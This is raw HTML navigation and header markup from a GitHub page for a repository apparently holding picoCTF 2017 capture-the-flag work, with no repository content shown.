aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="106162393" data-scoped-search-url="/s-nirali/picoctf-2017/search" data-owner-scoped-search-url="/users/s-nirali/search" data-unscoped-search-url="/search" data-turbo="false" action="/s-nirali/picoctf-2017/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="NoYP7DKHc+xyK7rrxFCQIShdfR5w9/Nl5hyUFcCXmyJayoYNP0Up2DQqHPtBRQqtqNmP9na3wtGbF01ZLU6Tnw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> s-nirali </span> <span>/</span> picoctf-2017 <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/s-nirali/picoctf-2017/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon 